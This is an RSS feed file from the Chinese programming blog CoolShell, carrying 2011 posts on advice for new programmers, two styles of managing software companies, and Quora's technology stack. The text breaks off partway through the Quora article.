    "path": "blogs/rss/feed-17.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 17 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=17\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Tue, 03 Jul 2012 04:29:47 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>给程序员新手的一些建议</title>\n\t\t<link>https://coolshell.cn/articles/4976.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4976.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 12 Jul 2011 00:37:49 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[Intern]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[实习生]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<category><![CDATA[面试]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4976</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>前段时间因为实习生计划花了很多时间做了实习生招聘的工作，产生的一些想法，写在这里。 这次招聘过程中，我发现我们在校的学生有下面的这些特点： 1）NB的项目。当说...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4976.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4976.html\">给程序员新手的一些建议</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>前段时间因为实习生计划花了很多时间做了实习生招聘的工作，产生的一些想法，写在这里。</p>\n<p>这次招聘过程中，我发现我们在校的学生有下面的这些特点：</p>\n<p><strong>1）NB的项目。</strong>当说到自己做过的项目时， 我发现他们做的事都是很NB。要么是研究Linux的底层内核，要么是图像识别处理，要么是推荐算法，要么做高性能计算，要么做数据挖掘，要么是移动方面的协议，还有一些很高深的课题我听不太懂的项目。这让我想起当年我在学校里的实习，对比起我用Java Applet 和 HTML做操作系统的教学课件，或是在公司里用Delphi/PowerBuilder做的那些MIS系统。让我觉得有些汗颜。</p>\n<p><strong>2）OK的解决问题能力。</strong>当问到算法题时，我发现他们的问题解决能力还OK。我一般问1到2个中低难度的算法题和1个基本的面向对象设计的题，都不难。我相信只要在学校里好好学习的人都应该答得出来。无非就是一些基本的算法和基本数据结构操作的问题，和比较基础的面向对象设计的题，说白了就是作业题。可惜的是，只有5%不到的同学能够在不给提示的情况下答出来，70%的人可以在给一定的提示下答出来，15%左右的同学需要提示到几乎给出答案才能答出来，还有10%的同学怎么给提示都答不出来。</p>\n<p><strong>3）WTF的编码能力</strong>。老实说，对于解算法题，我还是比较可以接受的，因为80%左右的同学在给予提示后都能描述出解题的算法，于是，我让他们把这个算法用他们最熟悉的语言写出来。但结果让我出乎意料，一段在解法很清楚的情况下只需要不到30行代码的小算法题，只有一个人能在10分钟几写完，其它的人基本所有的需要30分钟左右（甚至40分钟），有2、3个人居然写不出来。有一个比较极端的case是——有个同学花了十分钟都写不出从一个整型数组中找到最小的正数的代码。这个事让我觉得很惊讶，难道大家在做项目的时候不编程吗？</p>\n<p>对于这种情况，我想给大家以下后一些建议：</p>\n<p><span id=\"more-4976\"></span></p>\n<ul>\n<li>我感到我们在校的学生正如“<a title=\"为什么中国的网页设计那么烂？\" href=\"https://coolshell.cn/articles/3605.html\" target=\"_blank\">为什么中国的网页这么烂</a>”中所说的——<strong>他们习惯于获取大量的知识，而从不对这些知识进行思考和总结</strong>。问题不是我们知道多少东西，问题是我们在获取这些知识的时候会不会去思考这些知识后的东西？比如：为什么会有这么多经典的数据结构，数组，链表，树，哈希表，图这些数据结构主要用来解决什么样的问题，他们的优势和劣势是什么？<strong>没有思考过，就不算真正的懂，没有思考过，你将无法应对万变的问题，没有思考过，你将成为书呆子</strong>。</li>\n</ul>\n<ul>\n<li><strong>多多实践而不是研究</strong>。编程不是在实验室做科研搞理论啊，计算机这本就是一个实践性很强的的学科啊，这不是数学，这需要你多多的实践啊。我们不要真以为读的是——计算机科学（Computer Science ）就是搞理论的了，这里面需要很多很多的Engineering的工作。（我实在是很难想像，居然有这么多人写一般难度的程序居然会是那么痛苦的事）</li>\n</ul>\n<ul>\n<li>我在我的新浪微博（<a href=\"http://weibo.com/haoel\" target=\"_blank\">@左耳朵耗子</a>）里说的，我们不要以为做过项目，会写程序，我们就是程序员了。如果你只是在按部就班地写代码，你就是Coder，江湖叫“码农”，不要把自己当成“码农”，我们一定要对自己的代码，自己的设计不停地反思和总结，并精益求精，写程序本来就是一件有价值的事，这就像写篇作文人人都会写，但并不是人人都能把文章写好。<strong>编程和写作都是一样的，这都是在搞创作啊。想做“码农”还是想做“程序员”？自己决定吧</strong>。</li>\n</ul>\n<ul>\n<li><strong>我们的教育的确很“废柴”，但这不是我们成为“废柴”的原因</strong>。如果我们的学习还停留在“别人给我什么我就学什么”的被动学习阶段，那么你真的不懂怎么是学习。虽然，我们的学校里并没有教你什么是“Version Control”，什么是“Coding Style”，什么是“Refactory”，什么是“Code Review”，什么是“Unit Test”，也没有告诉你一些经典的设计的和架构，等等，等等，但是这是什么年代了？这个时代不是像我上学那时——学校机房里上机用的电脑连内存和硬盘都没有，用5寸的低密软盘面对绿色显示器的286，上网还要“猫”，而且贵的要死（一小时22元），而且网上什么都没有时代了。<strong>我们身边有很多很多优秀的人，网上有很多优秀的文章，书店里也有很多不错的书，而且我们的软件开发日趋成熟，如果我们还学不好的话，那么我们就是在犯罪！</strong></li>\n</ul>\n<p>最后，和大家说一下公司的实习生招聘。这个事情其实是毕业生招聘的一个组成部分，也就是说，因为我国教育的问题，再加上学生自己的问题，导致毕业生量多质次的情况很严重，对于公司，其很难从学校招到一个比较不错的毕业生，这种情况已经不是新问题了，所以，也有很多公司都不招刚毕业的学生。因此，通过实习机会了解并招聘毕业生成了很多公司的毕业生招聘的手段。所以，在这里想告诉在校的同学们，千万不要以为实习计划就是字面上的实习。其实，这和正式的招聘没有什么差别，同样也要看你的能力的。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/8138.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/250px-Sheldon_Cooper-150x150.jpg\" alt=\"为什么我反对纯算法面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8138.html\" class=\"wp_rp_title\">为什么我反对纯算法面试题</a></li><li ><a href=\"https://coolshell.cn/articles/4506.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"再谈“我是怎么招聘程序员的”（上）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4506.html\" class=\"wp_rp_title\">再谈“我是怎么招聘程序员的”（上）</a></li><li ><a href=\"https://coolshell.cn/articles/4490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"再谈“我是怎么招聘程序员的”（下）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4490.html\" class=\"wp_rp_title\">再谈“我是怎么招聘程序员的”（下）</a></li><li ><a href=\"https://coolshell.cn/articles/3345.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/googlequestion-150x150.jpg\" alt=\"140个Google的面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3345.html\" class=\"wp_rp_title\">140个Google的面试题</a></li><li ><a href=\"https://coolshell.cn/articles/1870.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/12/job-interview-150x150.gif\" alt=\"我是怎么招聘程序员的\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1870.html\" class=\"wp_rp_title\">我是怎么招聘程序员的</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4976.html\">给程序员新手的一些建议</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4976.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>130</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>软件公司的两种管理方式</title>\n\t\t<link>https://coolshell.cn/articles/4951.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4951.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 06 Jul 2011 00:36:43 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术管理]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[BA]]></category>\n\t\t<category><![CDATA[PM]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[Project]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4951</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这篇文章是我的一个外国的同事Gareth推荐给我的，我和他一起工作过一段时间。他之所以觉得非常不错，是因为这篇文章让他身有体会，他觉得我也一定会有体会，并让我考...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4951.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4951.html\">软件公司的两种管理方式</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>这篇文章是我的一个外国的同事Gareth推荐给我的，我和他一起工作过一段时间。他之所以觉得非常不错，是因为这篇文章让他身有体会，他觉得我也一定会有体会，并让我考虑一下翻译到我的blog上来。我看完后觉得很有代表性，而且觉得说得太对了，所以翻译过来，<strong>希望大家都读一读，最好转给你的公司老板</strong>。</p>\n<p>这篇文章来源于 StakeExchange上的一个问题——“<a title=\"Why do business analysts and project managers get higher salaries than programmers?\" href=\"http://programmers.stackexchange.com/questions/45776/why-do-business-analysts-and-project-managers-get-higher-salaries-than-programmer\" target=\"_blank\">为什么BA和PM的薪水要比程序员要高？</a>”，顶在一楼的回复分析了这个原因，并指出了两种管理文化。</p>\n<p style=\"text-align: center;\">———————————————————正文开始————————————————————</p>\n<p>一个简单的回答应该是——“因为在我们的社会里，我们总是会认为薪水和会和职位的层次绑在一起”。但是，这个答案同时也折射出一个事实——我们的薪资是基于我们的所理解的价值，但这并没有解释</p>\n<ol>\n<li><strong>为什么PM（Project Manager）和BA（Business Analysts）在很多软件公司里在组织的上层？</strong></li>\n<li><strong>为什么软件项目团队总是在最底层？</strong></li>\n</ol>\n<p>这两个问题真是非常地值得我们去问，去思考。</p>\n<p>总体来说，这个世界上存在两种不同的软件公司的组织结构。我把他们叫做 <strong>Widget Factory</strong>（小商品工厂） 和 <strong>Film Crews</strong>（电影工作组）.</p>\n<p>Widget Factories 想要去解决 <a href=\"http://en.wikipedia.org/wiki/Theory_X_and_theory_Y\" rel=\"nofollow\">怎么去激发被X理论所影响的人</a> 。X理论由 McGregor提出，这个理论是说，一般人的本性是懒惰的，工作越少越好，可能的话会逃避工作，大部分人对集体（公司，机构，单位或组织等）的目标不关心，因此管理者需要以强迫，威胁处罚，指导，金钱利益等诱因激发人们的工作源动力。于是，经理总是要去做他下属的工作。于是，基于这种前提下所思考出来的管理方式，很自然的就是——整个团队能够容易地被经理一个人所取代，这种团队中的每一个人都很容易被别人取代，在这种团队里，经理的工作能力不断地被加强。因些，这种公司一般使用树形层级的组织结构，而不是水平式的工作角色。</p>\n<p><span id=\"more-4951\"></span></p>\n<p>Widget Factory 管理体系运作于软件需求的某种假设，这种假设需要BA在一个定义地非常明确的并且需要主管项目经理监管的流程的环境下，准备软件的规格说明书。这种软件制造业需要对项目定置足够的可被替换的编程和测试资源。整个工作由事先安排好的预算来驱动，这个预算由PM和BA在初始化business case的时候完成。</p>\n<p>一个 Widget Factory 的公司的管理可以通过观察这个公司员工的谈话方式识别出来。他们很喜欢谈论Resource资源（包括干活的人也叫做resource），Process流程，Operating efficiency运作效率，uniformity一致性， repeatability可重复性，严格在控制对资源的使用，鲜明的工作角色和 鲜明的流程定义（inputs 和 outputs）。他们对实实在在的软件开发漠不关心，他们想要把理想中的软件开发运作变成他们看得见的图画。</p>\n<p>Film Crews 。这种公司认为人是有相当高的智力和创造力的，是自己可以激发自己的（陈皓注：即使没有外界的压力和处罚的威胁，他们一样会努力工作以期达到目的——人们具有自我调节和自我监督的能力），人们努力工作，并且可以享受工作（人们愿意为集体的目标而努力，在工作上会尽最大的努力，以发挥创造力，才智），就像孩子喜欢玩一样。 Film Crews 认为，每一个个体的自已专业能力，要远远优于那种被组织和协调出来的能力。因为经理不再代替每一个人，而树形的层次架构也不能很好的运作——人们不得不以比较复杂和形式合作才能把事搞定。工作职责变得非常地垂直——你需要具有从上到下的而比较宽泛的各种能力（陈皓注：每个人都需要有管理和技术能力），这种管理也就是基于 <a href=\"http://en.wikipedia.org/wiki/Theory_X_and_theory_Y\" rel=\"nofollow\">McGregor的 Y理论</a>。</p>\n<p>对于一个Film Crew 的Director（注：有总监和导演的意思），他了解把一个伟大的软件组合起来的每一个碎片，他需要组织一个无与伦比的团队，并且要帮助这个团队能凝聚在一起，团结在一起工作。他的角色是鼓舞大家，守护着构想（Vision），提供方向和集中大家的精力。团队里的每一个人都很关键，因为“Director”相信软件的结果来自所有的参与者，以及他们的那种独一无二团队工作方式。大家都知道自己是这个事的一个明星，明星效应可以增加成每个人的成功的机会。而他们的构想(Vision)驱动着项目的预算和拨款。</p>\n<p><strong>当我们用报酬来表示的话，</strong> Widget Factories 认为，有价值的东西总是从PM和BA派生出来的，所以他们常驻在管理层的上面，也有相应的报酬，而对于软件团队，只要他们正确地把需求变成可工作的代码后，软件团队就变得无所谓了。PM 和 BA 努力工作来维护他们的权位，他们通常不会让你能得到项目的原始信息。因为团队拿不到项目的原始信息，所以团队就要拼命地制造各种理由来让他们的方案变得有价值，程序员成为了只会从PM和BA那边听从命令的工人。而这种情况反而让Widget Factory 公司放大了他们的那种想法——程序员都是差不多的，就像车间里的工人一样，他们只不过在机械地干一些很复杂的但是很标准的事情。</p>\n<p>与 Widget Factories 公司鲜明的对比，Film Crew 更主张的是平等的工作职能，每个成员都可以不受限制地获得主要的和原始的信息，其鼓励所有人形成自己的价值判断，并且可以自由地选择不同的方式来达到团队的构想。Leadership领导力结构基于人的能力而不是工作角色。报酬折射出这个人是怎么在这个项目中工作的，需要明白这个人为我们的软件创造了多大的价值和产生了怎么样的结果。 在这种环境里，PM的工作显得并不突出，他也许也不太可能是一个有创造力的领导者，工作角色被弱化成了一种行政管理上的支持者，以及团队外部的联系者。BA的部分工作直接被团队取代（在项目早期被Director取代）。</p>\n<p>今天，我们一点也不奇怪，大多数的公司内的软件开发团队以及一些咨询工作运作于 Widget Factories ，其需要依赖于流程来不断地制造那些无聊的软件。在这种情况，惯例上来说，PM和BA要比程序员挣得更多，这是基本一种他们可以创造更多价值的假设。<strong>在这种组强架构和管理里，程序员们很难证明管理是错误的。</strong></p>\n<p><strong>成功的软件公司都会趋于采用 Film Crew 的方式，任何其它的东西都会妨碍他们吸引牛人的能力，因为只有吸引了牛人，你才能创造出伟大的软件</strong>。 在这种公司里，一个好的程序员的收入会高过BA和PM很多。</p>\n<p style=\"text-align: center;\">———————————————————正文结束————————————————————</p>\n<p style=\"text-align: left;\">读完这个贴子，我发现这完全就是在说我上一家公司和现在公司。我上一家公司的经理们最喜欢谈论的就是resource、 process，而他们的Project Manager或Team Manager或Dev Manager几乎不会为软件团队分担真正的软件开发的压力，还不如Widget Factory。哎！第一次看到这么被人系统地表达出来，心中的一些困惑都得到了解答。</p>\n<p style=\"text-align: left;\">你的公司属于哪一种呢？</p>\n<p style=\"text-align: left;\"><em><strong>————更新 &#8211; 2011-7-6 晚————</strong></em></p>\n<p style=\"text-align: left;\">有人在我的新浪微博（<a href=\"http://weibo.com/haoel\" target=\"_blank\">@左耳朵耗子</a>）里说，Widget Factory就是Waterfall，Film Crews就是Agile，在下面的留言里也说Film Crews很像SCRUM。我在这里驳斥一下这种说法：</p>\n<ol>\n<li>我上一家公司也用Agile ，但本质上还是Widget Factory，甚至还不像。</li>\n<li>著名的Thoughtworks中国公司，Agile的倡导者，其实是外包公司，他们的开发团队中也有PM和BA。</li>\n</ol>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/10217.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/07/Work-Overtime-150x150.jpg\" alt=\"加班与效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10217.html\" class=\"wp_rp_title\">加班与效率</a></li><li ><a href=\"https://coolshell.cn/articles/3218.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"开发时间估计\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3218.html\" class=\"wp_rp_title\">开发时间估计</a></li><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4951.html\">软件公司的两种管理方式</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4951.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>110</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Quora使用到的技术</title>\n\t\t<link>https://coolshell.cn/articles/4939.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4939.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 04 Jul 2011 00:35:37 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Facebook]]></category>\n\t\t<category><![CDATA[MySQL]]></category>\n\t\t<category><![CDATA[Nginx]]></category>\n\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[Quora]]></category>\n\t\t<category><![CDATA[StackExchange]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4939</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>以前向大家介绍过Stack Exchange的系统架构和Facebook的系统架构，今天和大家说说Quora的。本文主要参考了Phil Whelan的这篇文章《...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4939.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4939.html\">Quora使用到的技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>以前向大家介绍过<a title=\"Stack Exchange 的架构\" href=\"https://coolshell.cn/articles/3721.html\" target=\"_blank\">Stack Exchange的系统架构</a>和<a title=\"Facebook 的系统架构\" href=\"https://coolshell.cn/articles/4549.html\" target=\"_blank\">Facebook的系统架构</a>，今天和大家说说Quora的。本文主要参考了<a title=\"Phil Whelan\" href=\"http://www.philwhln.com/author/admin/\">Phil Whelan</a>的这篇文章《<a href=\"http://www.philwhln.com/quoras-technology-examined\" target=\"_blank\">Quora&#8217;s Technology Examined</a>》。关于Quora是个什么网站我就不多说了，国内对他的C2C网站叫“知乎”。呵呵。我们还是来看看Quora的技术吧。</p>\n<h4>Search-Box</h4>\n<p>Quora只能搜索问题，主题标签，用户名，和主题标题。没有全文搜索，所以，你无法搜索问题和答案的内容。而搜索中使用前缀搜索方式，比如你输入mi，则Microsoft会马上出来。其搜索还会有一些非常简单的模糊匹配的算法。另外，如果有重复的问题，其中一个问题会自动跳转到另一个问题，但是在搜索中还是会出现。搜索中没有拼写检查。</p>\n<p>一开始，他们使用的是一个开源的搜索服务器，叫<a href=\"http://sphinxsearch.com/\">Sphinx</a>。其支持上述的那些功能。现在他们不用这个技术了，因为<a href=\"http://www.quora.com/What-is-the-best-open-source-solution-for-implementing-fast-auto-complete\" target=\"_blank\">受到了一些限制</a>。他们做了一个比较新的解决方案，这个算法由Python实现。</p>\n<p><strong>参看</strong>：<a href=\"http://www.quora.com/What-libraries-does-Quora-use-for-search\"><img decoding=\"async\" loading=\"lazy\" src=\"http://www.quora.com/favicon.ico\" alt=\"\" width=\"16\" height=\"16\" />What libraries does Quora use for search?</a></p>\n<h4>实时查询</h4>\n<p>Quora的查询是非常高速的，其查询请求是通过AJAX的GET请求发送的，结果返回用的是JSON数据格式，但他们解析JSON是在服务器端，而不是通过浏览器的javascript。这么做的原因可能是他们想高亮搜索关键词，似乎使用Client端的Javascript非常不好做。</p>\n<p>Quora的即时搜索好像比较暴力，如果你输入Microsoft（一共9个字符），你会看到其会像后端发送9次查询——每按一个键一次，无论你敲这个单词的速底有多快，每输入一个字符都会发一个请求给后台。对于这样的看上去没有效率的对后台的请求，后台的服务器端会来控制相关的前台请求，所以，就算是前台这样做，也不会增加服务器端的负载，因为后台会做相关的处理。</p>\n<p>Quora的搜索使用HTTP长连接，当你开始敲查询的时候，连接就建立了，这个连接会持续在那里，你下次搜索的时候会继续使用这个连接，除非你60秒没有动作了。</p>\n<p><strong>参看</strong>：<a href=\"http://www.quora.com/Quora-product/Is-Quora-going-to-implement-full-text-search\"><img decoding=\"async\" loading=\"lazy\" src=\"http://www.quora.com/favicon.ico\" alt=\"\" width=\"16\" height=\"16\" />Is Quora going to implement full-text search?</a></p>\n<p><span id=\"more-4939\"></span></p>\n<h4 id=\"webnode2-and-livenode\">Webnode2 和 LiveNode</h4>\n<p>Webnode2 和 LiveNode 是 Quora 内部的系统，其用来管理内容。Webnode2  生成 HTML, CSS 和 JavaScript 并且和 LiveNode 紧紧地耦合在一起，Webnode2主要是用来管理内容在网页上显示的，LiveNode主要是用来做动态网页内容更新的。Charlie Cheever 说，如果他可以从新开始，他 <a href=\"http://www.quora.com/What-limitations-has-Quora-encountered-due-to-LiveNode-WebNode#answers\" target=\"_blank\">第一件事要做的就是重写整个LiveNode</a>.</p>\n<p>Quora的工程师看上去对他们搞的这些东西非常的满意，并且 <a href=\"http://www.quora.com/What-limitations-has-Quora-encountered-due-to-LiveNode-WebNode#answers\">他们也在努力地找到这些东西的弱点</a>。有一个有意思的关于LiveNode的问题是，如果A和B同时正在看相当的一个问题，那么用户A的一些交互动作会影响B的页面。例如，如果A顶了一下某个答案，那么这个答案可能会往上移动。这样的一个显示变化会通过AJAX更新B的浏览器。如果B此时展开了评论，可能会受到影响。</p>\n<p><a href=\"http://www.quora.com/What-is-LiveNode-written-in\">LiveNode 由这些东西写成：</a>Python, C++, and JavaScript. <a href=\"http://jquery.com/\">jQuery</a> ，<a href=\"http://cython.org/\">Cython</a>也用到了。</p>\n<p>因为Quora <a href=\"http://www.quora.com/Is-Quora-planning-on-open-sourcing-LiveNode\">想要对他们的LiveNode开源</a> 并准备把他们的代码分开，做这个事可能需要太多的工作和时间。</p>\n<p>Charlie Cheever 指出 WebNode2 和 <a href=\"http://www.quora.com/Quora-Infrastructure/What-is-webnode2\">有一个叫做 “free and easy website builder” 的 Webnode 的 webnode.com</a> 没有任何的关系。</p>\n<p><strong>参考</strong>：<a href=\"http://www.quora.com/Quora-product/Is-Quora-going-to-implement-full-text-search\"><img decoding=\"async\" loading=\"lazy\" src=\"http://www.quora.com/favicon.ico\" alt=\"\" width=\"16\" height=\"16\" /></a> <a href=\"http://www.quora.com/Shreyes-Seshasai/Tech-Talk-Webnode2-and-LiveNode\" target=\"_blank\">Tech Talk &#8211; Webnode2 and LiveNode</a></p>\n<h4>Amazon Web Service</h4>\n<p>Quora全部host在AWS的EC2和S3上，这对于这些刚刚起步的快速发展的公司非常关键，因为你可以省去了很多硬件和维护的成本。（建一个数据中心并不是所有公司都能干的事）。Quora的操作系统使用Ubuntu Linux，这是非常容易部署和管理。</p>\n<p>其静态页使用了Amazon的CDN的 <a href=\"http://aws.amazon.com/cloudfront/\" target=\"_blank\">Cloudfront</a>服务分发，CloudFront用于所有的静态图片, CSS 和JavaScript。<a href=\"http://www.quora.com/How-is-Quora-doing-image-uploads-to-Amazon-S3\" target=\"_blank\">图片先传到 EC2 服务器</a>，使用 <a 